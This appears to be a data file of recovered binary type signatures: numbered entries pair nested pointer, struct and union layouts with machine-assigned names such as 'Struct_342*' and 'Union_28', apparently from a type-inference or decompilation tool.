150 union(struct(0:ptr(reg32_t),8:ptr(array(reg8_t,12))),ptr(struct(0:ptr(reg32_t),8:ptr(TOP))),ptr(ptr(struct(0:ptr(reg32_t),8:ptr(TOP)))),struct(0:ptr(TOP),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP)),ptr(struct(0:ptr(TOP),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP)))) "Union_28"
151 ptr(struct(4:union(struct(4:uint32_t,24:ptr(TOP)),struct(0:ptr(TOP),12:reg32_t)),12:ptr(struct(0:union(struct(4:uint32_t,24:ptr(TOP)),struct(0:ptr(TOP),12:reg32_t)))),84:reg32_t)) "Struct_342*"
152 union(struct(4:uint32_t,24:ptr(TOP)),struct(0:ptr(TOP),12:reg32_t)) "Union_29"
153 ptr(struct(0:union(struct(4:uint32_t,24:ptr(TOP)),struct(0:ptr(TOP),12:reg32_t)))) "Struct_341*"
151 ptr(struct(4:union(struct(4:uint32_t,24:ptr(TOP)),struct(0:ptr(TOP),12:reg32_t)),12:ptr(struct(0:union(struct(4:uint32_t,24:ptr(TOP)),struct(0:ptr(TOP),12:reg32_t)))),84:reg32_t)) "Struct_345*"
154 ptr(struct(0:array(reg8_t,56),56:reg32_t)) "StructFrag_50*"
155 ptr(struct(16:ptr(struct()),80:reg32_t)) "Struct_643*"
156 ptr(struct(8:ptr(TOP),16:ptr(struct(0:ptr(reg32_t),8:ptr(struct(0:ptr(reg32_t),8:ptr(TOP))))),24:reg32_t,28:reg32_t,32:reg32_t,36:float32_t,40:reg32_t,44:reg32_t,48:reg32_t,56:reg32_t)) "Struct_357*"
157 union(ptr(struct()),ptr(struct(0:reg64_t,8:reg32_t))) "Union_53"
158 ptr(struct(0:reg32_t,4:ptr(struct(8:uint32_t,12:reg32_t,16:reg32_t,20:reg32_t)))) "StructFrag_166*"
159 ptr(struct(12:ptr(struct(0:reg32_t,4:ptr(struct(8:uint32_t,12:reg32_t,16:reg32_t,20:reg32_t)))),52:reg32_t)) "Struct_412*"
160 ptr(struct(12:ptr(struct(0:reg32_t,4:ptr(struct(8:uint32_t,12:reg32_t,20:reg32_t)))),16:ptr(struct(0:union(ptr(struct()),ptr(struct(0:reg64_t,8:reg32_t))),8:ptr(TOP))),20:union(ptr(struct()),ptr(struct(0:reg64_t,8:reg32_t))),40:reg32_t,44:reg32_t,48:reg32_t,52:reg32_t,56:reg32_t)) "Struct_406*"
160 ptr(struct(12:ptr(struct(0:reg32_t,4:ptr(struct(8:uint32_t,12:reg32_t,20:reg32_t)))),16:ptr(struct(0:union(ptr(struct()),ptr(struct(0:reg64_t,8:reg32_t))),8:ptr(TOP))),20:union(ptr(struct()),ptr(struct(0:reg64_t,8:reg32_t))),40:reg32_t,44:reg32_t,48:reg32_t,52:reg32_t,56:reg32_t)) "Struct_408*"
161 ptr(struct(4:reg32_t,8:num32_t,28:ptr(TOP))) "Struct_415*"
162 ptr(struct(0:reg32_t,4:ptr(struct(0:ptr(TOP),8:uint32_t,12:reg32_t,16:reg32_t,20:reg32_t)))) "StructFrag_43*"
163 ptr(struct(0:reg32_t,4:union(ptr(struct(0:ptr(TOP),8:reg32_t)),ptr(struct(0:array(reg8_t,12),12:reg32_t))))) "StructFrag_198*"
164 ptr(struct(0:ptr(TOP),4:ptr(struct(8:uint32_t,12:reg32_t,20:reg32_t)),8:ptr(TOP))) "Struct_348*"
165 ptr(struct(4:ptr(struct(0:reg64_t,8:reg32_t)),8:ptr(TOP),12:union(ptr(struct(0:reg32_t,4:ptr(struct(8:uint32_t,12:reg32_t,20:reg32_t)))),ptr(struct(0:ptr(TOP),4:ptr(struct(8:uint32_t,12:reg32_t,20:reg32_t)),8:ptr(TOP)))),16:ptr(reg32_t),20:ptr(reg32_t),24:struct(0:ptr(reg32_t),8:ptr(reg32_t),64:reg32_t,100:reg32_t),36:float32_t,40:struct(0:ptr(reg32_t),8:ptr(reg32_t),64:reg32_t,100:reg32_t))) "Struct_350*"
166 union(ptr(struct(0:reg32_t,4:ptr(struct(8:uint32_t,12:reg32_t,20:reg32_t)))),ptr(struct(0:ptr(TOP),4:ptr(struct(8:uint32_t,12:reg32_t,20:reg32_t)),8:ptr(TOP)))) "Union_33"
167 ptr(struct(4:ptr(struct(0:reg64_t,8:reg32_t)),12:ptr(struct(0:reg32_t,4:ptr(struct(0:ptr(TOP),8:uint32_t,12:reg32_t,16:reg32_t,20:reg32_t)))),16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,40:reg32_t,44:reg32_t,48:reg32_t,52:reg32_t,60:reg32_t,64:ptr(struct(0:array(reg8_t,32),32:ptr(TOP))))) "Struct_410*"
168 ptr(struct(4:ptr(struct(0:array(reg8_t,12),12:reg32_t)),52:reg32_t,64:ptr(struct(0:ptr(num8_t),8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,32:ptr(TOP))),68:reg32_t,72:reg32_t)) "Struct_593*"
169 ptr(struct(0:array(reg8_t,64),64:ptr(struct()))) "StructFrag_184*"
170 ptr(struct(52:int32_t,64:ptr(TOP),68:reg32_t,72:reg32_t)) "Struct_479*"
171 ptr(struct(0:reg32_t,4:ptr(struct(0:ptr(TOP),8:reg32_t)))) "StructFrag_57*"
172 ptr(struct(4:reg32_t,12:ptr(struct(0:reg32_t,4:ptr(struct(0:ptr(TOP),8:reg32_t)))),52:int32_t,64:ptr(struct()),68:reg32_t,72:reg32_t)) "Struct_360*"
173 ptr(struct(4:ptr(struct(0:array(reg8_t,12),12:reg32_t)),12:ptr(struct(0:reg32_t,4:ptr(struct(0:reg64_t,8:reg32_t)))),52:reg32_t,64:ptr(TOP),68:reg32_t,72:reg32_t)) "Struct_358*"
174 ptr(struct(0:array(reg8_t,12),12:num32_t)) "StructFrag_113*"
175 ptr(struct(0:ptr(TOP),8:ptr(TOP),64:reg32_t)) "Struct_363*"
176 ptr(struct(4:ptr(struct(0:reg64_t,8:reg32_t)),84:reg32_t)) "Struct_366*"
177 ptr(struct(4:ptr(struct(0:array(reg8_t,12),12:reg32_t)),84:reg32_t)) "Struct_367*"
178 union(ptr(reg32_t),ptr(struct(0:float32_t,4:float32_t,8:float32_t,12:float32_t,16:float32_t))) "Union_63"
179 ptr(struct(0:uint32_t,8:reg32_t,12:ptr(struct(4:ptr(ptr(TOP)),8:ptr(ptr(TOP)))),16:float64_t)) "Struct_516*"
180 ptr(struct(0:array(reg8_t,56),56:num32_t)) "StructFrag_174*"
181 union(ptr(struct()),ptr(struct(0:array(reg8_t,16),16:ptr(TOP))),struct(0:ptr(reg64_t),4:ptr(reg64_t)),ptr(struct(0:ptr(TOP),4:ptr(TOP))),ptr(struct(4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,32:ptr(TOP))),ptr(struct(0:reg64_t,8:ptr(TOP))),ptr(struct(0:ptr(TOP))),ptr(struct(0:ptr(num32_t),4:ptr(struct(0:ptr(struct(0:array(reg8_t,20),20:ptr(reg64_t))),4:ptr(ptr(reg32_t)))),12:reg32_t))) "Union_68"
182 union(ptr(TOP),num32_t,float32_t) "Union_72"
183 union(ptr(struct(0:array(reg8_t,28),28:ptr(TOP))),ptr(struct(0:ptr(TOP),4:union(num32_t,float32_t),8:union(num32_t,float32_t),12:union(num32_t,float32_t),16:num8_t,17:num8_t,20:union(num32_t,float32_t),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP)))) "Union_39"
184 ptr(struct(0:array(reg8_t,28),28:ptr(TOP))) "StructFrag_22*"
185 union(num32_t,ptr(struct())) "Union_59"
186 ptr(struct(0:ptr(struct(0:reg64_t,8:num32_t)),8:ptr(TOP))) "Struct_560*"
187 union(num32_t,float32_t) "Union_38"
188 ptr(struct(0:ptr(TOP),4:union(num32_t,float32_t),8:union(num32_t,float32_t),12:union(num32_t,float32_t),16:num8_t,17:num8_t,20:union(num32_t,float32_t),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP))) "Struct_372*"
189 ptr(struct(8:float32_t,12:ptr(num8_t),16:ptr(TOP))) "Struct_94*"
190 ptr(struct(0:ptr(num8_t),4:reg32_t,8:reg32_t,12:reg32_t,16:ptr(struct(0:reg32_t,8:float32_t,12:ptr(num8_t),16:ptr(struct(8:float32_t,12:ptr(reg8_t),16:ptr(TOP))))))) "Struct_368*"
191 ptr(struct(0:array(reg8_t,24),24:int32_t)) "StructFrag_35*"
17 num32_t "time_t"
192 ptr(struct(0:ptr(num32_t),8:ptr(TOP))) "Struct_648*"
193 ptr(struct(20:float32_t,24:ptr(TOP))) "Struct_204*"
194 union(int32_t,uint32_t) "Union_4"
195 union(ptr(float32_t),ptr(struct(0:float32_t,4294967292:reg32_t))) "Union_17"
196 ptr(struct(0:array(reg8_t,32),32:union(int32_t,uint32_t))) "StructFrag_196*"
197 ptr(struct(0:ptr(TOP),4:reg32_t,72:reg32_t)) "Struct_128*"
198 ptr(struct(0:ptr(TOP),4:reg32_t,32:float64_t,40:float64_t,48:float64_t)) "Struct_26*"
199 ptr(struct(0:reg32_t,12:ptr(TOP),20:ptr(TOP))) "Struct_375*"
200 union(ptr(struct(0:array(reg8_t,12),12:ptr(TOP))),ptr(struct(0:reg32_t,12:ptr(TOP),20:ptr(TOP)))) "Union_40"
201 ptr(struct(4:reg32_t,8:reg32_t,12:ptr(struct(0:reg64_t,8:ptr(num8_t))),20:ptr(TOP))) "Struct_206*"
202 ptr(struct(0:reg64_t,12:ptr(TOP))) "Struct_472*"
203 ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:ptr(TOP))) "Struct_52*"
204 ptr(struct(0:reg32_t,12:ptr(TOP))) "Struct_382*"
205 ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:ptr(struct(0:reg64_t,8:ptr(num8_t))))) "Struct_383*"
206 ptr(ptr(ptr(struct(0:ptr(TOP))))) "Singleton_0*[]*"
207 ptr(ptr(ptr(TOP))) "void*[]*"
208 ptr(array(reg8_t,32)) "unknown_256*"
209 ptr(struct(8:uint32_t,12:ptr(TOP))) "Struct_54*"
210 ptr(struct(16:reg32_t,20:ptr(TOP))) "Struct_326*"
211 ptr(struct(4:reg32_t,12:ptr(TOP),20:ptr(TOP),28:ptr(TOP))) "Struct_209*"
135 union(ptr(num8_t),ptr(struct(0:reg16_t,2:num8_t))) "Union_2"
212 union(ptr(num8_t),ptr(struct(0:ptr(num8_t),16:reg32_t,24:reg32_t))) "Union_41"
213 ptr(struct(0:uint32_t,4:num32_t,8:num32_t,12:ptr(struct(0:reg64_t,8:ptr(num8_t))),16:num32_t,20:ptr(TOP))) "Struct_380*"
214 ptr(struct(0:ptr(num8_t),16:reg32_t,24:reg32_t)) "Struct_378*"
215 ptr(struct(0:uint32_t,4:num32_t,8:num32_t,12:ptr(struct(0:reg64_t,8:ptr(num8_t))),16:num32_t,20:ptr(TOP),32:reg32_t)) "Struct_379*"
216 ptr(struct(0:reg16_t,2:num8_t)) "StructFrag_21*"
217 ptr(struct(0:uint32_t,4:uint32_t,8:uint32_t,12:ptr(TOP))) "Struct_473*"
218 ptr(struct(0:num32_t,4:reg32_t,8:reg32_t,12:ptr(struct(0:reg64_t,8:ptr(num8_t))))) "Struct_385*"
219 ptr(struct(0:num32_t,4:num32_t,8:num32_t,12:ptr(TOP))) "Struct_386*"
220 ptr(struct(0:num32_t,12:ptr(TOP))) "Struct_387*"
221 ptr(struct(0:ptr(TOP),4:ptr(TOP))) "Struct_65*"
222 ptr(array(reg8_t,34)) "unknown_272*"
223 ptr(array(reg8_t,23)) "unknown_184*"
224 ptr(array(reg8_t,5120)) "unknown_40960*"
225 ptr(struct(0:reg32_t,4:ptr(struct()))) "StructFrag_106*"
226 union(ptr(struct()),ptr(struct(0:reg32_t,4:ptr(TOP)))) "Union_94"
133 ptr(ptr(struct(0:reg32_t,4:ptr(TOP)))) "StructFrag_2**"
92 ptr(ptr(struct())) "Struct_3**"
227 union(ptr(reg32_t),ptr(struct(0:ptr(num8_t),12:ptr(TOP)))) "Union_95"
108 ptr(ptr(struct(0:reg32_t,8:ptr(struct(0:reg32_t,8:ptr(struct(0:reg64_t,8:ptr(TOP)))))))) "Struct_696**"
228 ptr(struct(0:ptr(TOP),4:reg32_t)) "Struct_33*"
229 ptr(struct(0:array(reg8_t,24),24:ptr(reg32_t))) "StructFrag_69*"
230 ptr(struct(28:ptr(TOP),32:ptr(TOP))) "Struct_35*"
231 ptr(struct(28:ptr(TOP),60:ptr(TOP))) "Struct_699*"
232 ptr(struct(0:array(reg8_t,32),32:ptr(TOP))) "StructFrag_23*"
233 ptr(struct(8:reg32_t,36:ptr(TOP),40:reg32_t)) "Struct_704*"
234 ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,28:ptr(TOP),32:reg32_t,36:ptr(TOP),44:ptr(TOP))) "Struct_754*"
235 union(ptr(struct(0:array(reg8_t,28),28:ptr(TOP))),ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,28:ptr(TOP),32:reg32_t,36:ptr(TOP),44:ptr(TOP)))) "Union_108"
236 ptr(struct(28:ptr(TOP),32:ptr(TOP),60:ptr(TOP))) "Struct_566*"
237 ptr(struct(24:ptr(reg32_t),28:union(ptr(TOP),struct(0:ptr(TOP),4:reg32_t)),36:union(ptr(TOP),struct(0:ptr(TOP),4:reg32_t)))) "Struct_565*"
238 ptr(struct(24:ptr(reg32_t),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP))) "Struct_567*"
239 union(ptr(TOP),int32_t,uint32_t) "Union_44"
240 ptr(struct(0:union(ptr(TOP),int32_t,uint32_t),4:union(ptr(TOP),int32_t,uint32_t),8:union(ptr(TOP),int32_t,uint32_t),12:union(ptr(TOP),int32_t,uint32_t),16:union(ptr(TOP),int32_t,uint32_t),20:union(ptr(TOP),int32_t,uint32_t),24:ptr(reg32_t),28:struct(0:reg32_t,4:reg32_t),36:struct(0:reg32_t,4:reg32_t),40:reg32_t,44:struct(0:reg32_t,4:reg32_t),52:struct(0:reg32_t,4:reg32_t),56:num8_t,60:struct(0:reg32_t,4:reg32_t))) "Struct_390*"
241 ptr(struct(4:ptr(ptr(TOP)),8:ptr(ptr(TOP)))) "Struct_22*"
242 union(ptr(struct(0:reg64_t,8:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t))) "Union_47"
243 union(ptr(struct(0:reg64_t,8:reg32_t)),ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:ptr(struct(4:ptr(ptr(TOP)),8:ptr(ptr(TOP)))),16:float64_t))) "Union_45"
244 ptr(struct(0:float32_t,4:float32_t,8:float32_t,12:float32_t)) "Struct_47*"
21 ptr(uint32_t) "unsigned int[]"
245 ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:ptr(struct(4:ptr(ptr(TOP)),8:ptr(ptr(TOP)))),16:float64_t)) "Struct_393*"
246 ptr(struct(0:reg32_t,4:ptr(TOP),8:ptr(TOP),16:ptr(TOP))) "Struct_712*"
247 ptr(struct(0:float32_t,4294967288:float32_t,4294967292:float32_t)) "Struct_460*"
248 ptr(struct(12:ptr(TOP),16:float64_t)) "Struct_210*"
249 ptr(struct(0:reg32_t,4:ptr(TOP),8:ptr(TOP),12:ptr(TOP),16:ptr(TOP))) "Struct_705*"
250 ptr(struct(4294967280:float32_t,4294967292:float32_t)) "Struct_706*"
251 ptr(struct(4294967280:float32_t,4294967288:float32_t,4294967292:float32_t)) "Struct_707*"
252 ptr(struct(8:uint32_t,12:ptr(TOP),16:float64_t)) "Struct_708*"
253 ptr(struct(28:reg32_t,32:ptr(TOP))) "Struct_44*"
254 ptr(ptr(struct(28:reg32_t,32:ptr(TOP)))) "Struct_44**"
255 ptr(struct(0:ptr(struct(28:reg32_t,32:ptr(TOP))),4:ptr(TOP),8:ptr(TOP))) "Struct_397*"
256 union(ptr(struct()),ptr(struct(0:ptr(TOP),4:reg32_t)),ptr(struct(0:reg64_t,8:reg32_t)),struct(0:ptr(array(reg8_t,12)),8:reg32_t),ptr(struct(0:ptr(TOP),8:reg32_t)),ptr(ptr(struct(0:ptr(TOP),8:reg32_t))),ptr(struct(0:ptr(TOP),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP))),ptr(ptr(struct(0:ptr(TOP)))),ptr(struct(0:array(reg8_t,24),24:reg32_t)),ptr(struct(0:union(ptr(TOP),int32_t,uint32_t),4:union(ptr(TOP),int32_t,uint32_t),8:union(ptr(TOP),int32_t,uint32_t),12:union(ptr(TOP),int32_t,uint32_t),16:union(ptr(TOP),int32_t,uint32_t),20:union(ptr(TOP),int32_t,uint32_t),24:ptr(reg32_t),28:struct(0:reg32_t,4:reg32_t),36:struct(0:reg32_t,4:reg32_t),40:reg32_t,44:struct(0:reg32_t,4:reg32_t),52:struct(0:reg32_t,4:reg32_t),56:num8_t,60:struct(0:reg32_t,4:reg32_t)))) "Union_98"
257 union(ptr(ptr(ptr(TOP))),ptr(reg32_t),ptr(struct()),ptr(struct(0:reg64_t,8:reg32_t)),struct(0:ptr(array(reg8_t,12)),8:reg32_t),ptr(struct(0:ptr(TOP),8:reg32_t)),ptr(ptr(struct(0:ptr(TOP),8:reg32_t))),ptr(struct(0:ptr(TOP),8:ptr(TOP),64:reg32_t))) "Union_84"
258 union(ptr(struct(0:ptr(num8_t),4:num32_t,8:ptr(num8_t),12:num32_t,16:num32_t,20:num32_t,24:num32_t,28:ptr(num8_t))),ptr(num8_t)) "Union_112"
259 union(ptr(struct(0:reg32_t,8:reg32_t,12:ptr(TOP))),ptr(struct(0:reg32_t,4:reg32_t,8:reg32_t,12:ptr(TOP)))) "Union_101"
260 ptr(struct(8:reg32_t,12:ptr(TOP))) "Struct_49*"
261 ptr(struct(0:union(ptr(num8_t),uint32_t),4:ptr(num8_t))) "Struct_591*"
262 union(ptr(num8_t),uint32_t) "Union_85"
125 ptr(struct(0:ptr(num8_t),8:reg32_t,12:reg32_t,16:reg32_t)) "Struct_396*"
263 ptr(ptr(struct(0:float32_t,4294967292:reg32_t))) "Struct_272**"
264 ptr(ptr(struct(0:array(reg8_t,16),16:reg32_t))) "StructFrag_8**"
265 union(num32_t,ptr(num8_t),ptr(struct(0:reg16_t,2:num8_t))) "Union_61"
266 ptr(struct(0:ptr(TOP),8:reg32_t,20:reg32_t)) "Struct_106*"
267 ptr(struct(0:ptr(reg32_t),4:ptr(struct(0:ptr(TOP),8:reg32_t,20:reg32_t)),8:ptr(TOP))) "Struct_399*"
268 union(ptr(reg32_t),struct(4:uint32_t,24:ptr(TOP)),struct(0:ptr(TOP),12:reg32_t)) "Union_48"
269 ptr(struct(8:uint32_t,12:reg32_t,20:reg32_t)) "Struct_122*"
270 union(ptr(struct(0:reg64_t,8:reg32_t)),struct(0:ptr(array(reg8_t,12)),8:reg32_t),ptr(struct(0:ptr(TOP),8:reg32_t)),ptr(ptr(struct(0:ptr(TOP),8:reg32_t)))) "Union_55"
271 ptr(struct(4:ptr(struct(8:uint32_t,12:reg32_t,20:reg32_t)),8:ptr(TOP))) "Struct_419*"
272 ptr(struct(0:ptr(TOP),8:uint32_t,12:reg32_t,16:reg32_t,20:reg32_t)) "Struct_119*"
273 ptr(struct(0:ptr(reg32_t),4:ptr(struct(0:ptr(TOP),8:uint32_t,12:reg32_t,16:reg32_t,20:reg32_t)),8:ptr(reg32_t))) "Struct_422*"
274 ptr(struct(0:ptr(TOP),8:reg32_t,12:reg32_t,20:reg32_t)) "Struct_104*"
275 ptr(struct(0:reg32_t,4:ptr(struct(0:ptr(TOP),8:reg32_t,12:reg32_t,20:reg32_t)))) "StructFrag_59*"
276 ptr(struct(0:reg32_t,4:ptr(struct(0:array(reg8_t,12),12:union(num32_t,struct(0:ptr(reg32_t),8:ptr(reg32_t))))))) "StructFrag_224*"
277 ptr(struct(0:ptr(reg16_t),4:num32_t,8:num32_t,12:num32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,36:reg32_t,40:float64_t)) "Struct_652*"
278 array(reg8_t,12) "unknown_96"
279 ptr(struct(4:uint32_t,24:ptr(TOP))) "Struct_88*"
280 union(num32_t,ptr(struct()),ptr(struct(0:reg64_t,8:reg32_t)),ptr(struct(0:ptr(reg32_t),8:ptr(TOP))),ptr(struct(0:ptr(TOP),24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP)))) "Union_77"
281 ptr(struct(0:ptr(TOP),8:reg32_t)) "Struct_120*"
282 ptr(struct(0:reg64_t,8:ptr(struct()))) "StructFrag_185*"
283 ptr(struct(0:reg64_t,8:union(ptr(TOP),struct(0:ptr(TOP))))) "StructFrag_200*"
284 ptr(struct(0:reg64_t,8:ptr(TOP))) "StructFrag_30*"
285 ptr(struct(0:float32_t,8:ptr(TOP))) "Struct_214*"
286 ptr(struct(0:float64_t,8:ptr(TOP))) "Struct_215*"
287 ptr(struct(0:reg32_t,8:ptr(TOP))) "Struct_423*"
288 union(struct(0:ptr(array(reg8_t,12)),8:reg32_t),ptr(struct(0:ptr(TOP),8:reg32_t)),ptr(ptr(struct(0:ptr(TOP),8:reg32_t)))) "Union_81"
289 ptr(struct(0:reg64_t,8:union(ptr(struct(0:reg64_t,8:reg32_t)),struct(0:ptr(array(reg8_t,12)),8:reg32_t),ptr(struct(0:ptr(TOP),8:reg32_t)),ptr(ptr(struct(0:ptr(TOP),8:reg32_t)))))) "StructFrag_201*"
290 union(ptr(reg32_t),ptr(struct()),ptr(struct(0:reg64_t,8:reg32_t)),ptr(struct(0:ptr(TOP),8:ptr(TOP),64:reg32_t))) "Union_82"
291 union(ptr(ptr(ptr(TOP))),ptr(struct())) "Union_83"
292 ptr(struct(0:reg64_t,8:ptr(struct(0:reg64_t,8:ptr(TOP))))) "StructFrag_227*"
293 ptr(struct(4:reg32_t,24:ptr(TOP),32:ptr(TOP),36:ptr(TOP))) "Struct_91*"
294 ptr(struct(0:array(reg8_t,32),32:reg32_t)) "StructFrag_94*"
295 ptr(struct(0:array(reg8_t,64),64:reg32_t)) "StructFrag_55*"
296 ptr(struct(4:reg32_t,16:float64_t,48:float64_t)) "Struct_216*"
297 union(ptr(ptr(TOP)),ptr(struct(0:ptr(TOP),4:reg32_t,32:float64_t,40:float64_t,48:float64_t))) "Union_65"
298 ptr(struct(0:ptr(TOP),4:num32_t,64:reg32_t,68:reg32_t,72:num32_t)) "Struct_740*"
299 ptr(struct(0:array(reg8_t,16),16:uint32_t)) "StructFrag_72*"
300 union(ptr(ptr(TOP)),ptr(struct(0:ptr(TOP),4:reg32_t))) "Union_73"
301 union(ptr(uint32_t),ptr(struct(0:reg64_t,8:reg32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t))) "Union_86"
302 ptr(ptr(uint32_t)) "size_t**"
303 union(ptr(struct(0:reg64_t,8:reg32_t)),ptr(struct(0:float32_t,4:float32_t,8:float32_t,12:float32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t))) "Union_102"
304 ptr(struct(0:float32_t,4:float32_t,4294967288:float32_t,4294967292:float32_t)) "Struct_468*"
305 ptr(struct(4294967280:float32_t,4294967284:float32_t,4294967288:float32_t,4294967292:float32_t)) "Struct_675*"
306 ptr(struct(8:float32_t,12:float32_t)) "Struct_219*"
307 ptr(float64_t) "double*"
308 ptr(ptr(struct(8:float32_t,12:float32_t))) "Struct_219**"
309 union(ptr(struct(0:float32_t,4:float32_t,8:float32_t,12:float32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t))) "Union_50"
310 union(ptr(struct(0:float32_t,4:float32_t,8:float32_t,12:float32_t)),ptr(ptr(struct(8:float32_t,12:float32_t)))) "Union_51"
25 ptr(float32_t) "float[]"
311 ptr(struct(0:reg32_t,4:num32_t,8:ptr(TOP),12:ptr(TOP),16:ptr(TOP),24:float64_t)) "Struct_220*"
312 ptr(struct(8:ptr(TOP),12:ptr(TOP),16:ptr(TOP))) "Struct_221*"
313 ptr(struct(0:reg32_t,4:reg32_t,12:ptr(TOP))) "Struct_718*"
314 ptr(struct(4:reg32_t,12:ptr(TOP),16:ptr(TOP))) "Struct_222*"
315 ptr(struct(4:reg32_t,8:ptr(TOP),24:float64_t)) "Struct_223*"
316 ptr(code_t) "proc*[]"
317 union(ptr(reg32_t),ptr(reg16_t),ptr(struct(0:reg32_t,4:reg32_t,12:reg32_t,16:reg32_t,20:reg32_t,24:reg32_t,28:reg32_t,32:reg32_t,36:ptr(TOP),44:ptr(struct(24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP))),52:reg16_t,56:ptr(TOP)))) "Union_103"
318 union(ptr(TOP),uint32_t) "Union_1"
319 ptr(struct(0:float64_t,8:float64_t,16:float64_t,24:float64_t)) "Struct_130*"
320 ptr(struct(16:float64_t,24:float64_t)) "Struct_131*"
321 ptr(struct(0:float32_t,8:reg32_t,16:uint32_t,20:uint32_t,28:uint32_t,32:float32_t,40:ptr(TOP),44:ptr(struct(8:uint32_t,24:reg32_t)),52:reg16_t,56:ptr(struct(16:float64_t,24:float64_t)))) "Struct_253*"
322 union(num32_t,ptr(struct(0:float64_t,8:float64_t,16:float64_t,24:float64_t))) "Union_105"
323 union(num32_t,ptr(float64_t)) "Union_106"
324 ptr(struct(0:float32_t,16:uint32_t,20:uint32_t,28:uint32_t,32:float32_t,36:ptr(TOP),40:num32_t,44:ptr(struct(8:uint32_t,24:ptr(TOP))),48:reg32_t,52:reg16_t,56:ptr(struct(16:float64_t,24:float64_t)))) "Struct_743*"
325 ptr(struct(24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP))) "Struct_83*"
326 ptr(struct(36:ptr(TOP),44:ptr(struct(24:ptr(TOP),28:ptr(TOP),32:ptr(TOP),36:ptr(TOP))))) "Struct_226*"
327 ptr(struct(0:union(uint32_t,float32_t,uint32_t),4:union(uint32_t,float32_t,uint32_t),8:union(uint32_t,float32_t,uint32_t),12:union(uint32_t,float32_t,uint32_t),16:union(uint32_t,float32_t,uint32_t),20:union(uint32_t,float32_t,uint32_t),24:union(uint32_t,float32_t,uint32_t),28:union(uint32_t,float32_t,uint32_t),32:union(uint32_t,float32_t,uint32_t),36:union(uint32_t,float32_t,uint32_t))) "Struct_745*"
328 union(uint32_t,float32_t,uint32_t) "Union_104"
329 ptr(struct(0:float64_t,4294967272:float64_t,4294967280:float64_t,4294967288:float64_t)) "Struct_759*"
330 ptr(struct(4294967264:float64_t,4294967272:float64_t,4294967280:float64_t,4294967288:float64_t)) "Struct_480*"
331 ptr(struct(0:float64_t,4294967280:float64_t,4294967288:float64_t)) "Struct_764*"
332 ptr(struct(0:float32_t,20:reg32_t,44:ptr(struct(8:reg32_t,24:ptr(TOP),32:ptr(TOP),36:reg32_t)))) "Struct_748*"
333 ptr(struct(0:float64_t,4294967288:float64_t)) "Struct_767*"
334 ptr(struct(28:reg32_t,44:ptr(struct(8:reg32_t,28:ptr(TOP))))) "Struct_768*"
335 ptr(struct(0:float64_t,8:float64_t,4294967248:float64_t,4294967256:float64_t,4294967264:float64_t,4294967272:float64_t,4294967280:float64_t,4294967288:float64_t)) "Struct_779*"
307 ptr(float64_t) "double[]"
336 ptr(struct(0:float64_t,8:float64_t,4294967280:float64_t,4294967288:float64_t)) "Struct_481*"
337 ptr(struct(16:float64_t,4294967280:float64_t)) "Struct_782*"
338 ptr(struct(0:float32_t,4:reg32_t,8:float32_t,12:reg32_t,16:reg32_t,24:reg32_t,36:float32_t)) "Struct_74*"
3 code_t "(FILE*,_In_ char* -> int)*"
339 ptr(struct(0:float32_t,8:reg32_t,16:float32_t,20:float32_t,24:float32_t,28:float32_t,32:float32_t,40:reg32_t,48:reg32_t,108:reg32_t)) "Struct_784*"
340 ptr(struct(0:float32_t,4:float32_t,8:float32_t,12:float32_t,16:float32_t,20:float32_t,40:reg32_t)) "Struct_785*"
341 ptr(struct(0:float32_t,8:float32_t,4294967288:float32_t,4294967292:float32_t)) "Struct_751*"
342 ptr(struct(0:float32_t,8:uint32_t,12:num32_t,16:float32_t,20:float32_t,24:ptr(TOP),32:ptr(TOP),36:ptr(TOP),40:reg32_t)) "Struct_752*"
343 ptr(struct(4:uint32_t,8:num32_t,28:ptr(TOP))) "Struct_783*"
344 ptr(struct(0:float32_t,20:uint32_t,44:ptr(struct(8:uint32_t,24:ptr(TOP))))) "Struct_747*"
345 union(ptr(num8_t),ptr(reg32_t),ptr(struct()),ptr(reg16_t),ptr(struct(4:reg32_t,12:ptr(TOP))),ptr(ptr(struct(0:reg32_t,8:ptr(struct(0:reg32_t,8:ptr(array(reg8_t,12))))))),ptr(struct(0:array(reg8_t,236),236:ptr(TOP))),ptr(struct(0:uint32_t,8:reg32_t,12:ptr(struct(0:reg64_t,8:ptr(num8_t))),16:reg32_t,20:ptr(TOP))),ptr(struct(0:float32_t,4:reg16_t,6:reg16_t)),ptr(struct(0:ptr(num8_t),8:reg32_t,12:reg32_t,16:reg32_t)),ptr(ptr(struct(0:ptr(TOP))))) "Union_110"
346 union(ptr(reg32_t),ptr(ptr(TOP)),ptr(ptr(reg32_t))) "Union_111"
347 ptr(struct(0:reg32_t,8:reg32_t,12:reg32_t,32:ptr(TOP))) "Struct_232*"
348 ptr(struct(0:uint32_t,8:reg32_t,12:ptr(struct(4:ptr(ptr(TOP)),8:ptr(ptr(TOP)))))) "Struct_71*"
349 union(ptr(struct(4:float32_t,8:float32_t,12:float32_t)),ptr(struct(0:array(reg8_t,24),24:reg32_t))) "Union_11"
350 ptr(struct(0:array(reg8_t,216),216:ptr(TOP))) "StructFrag_12*"
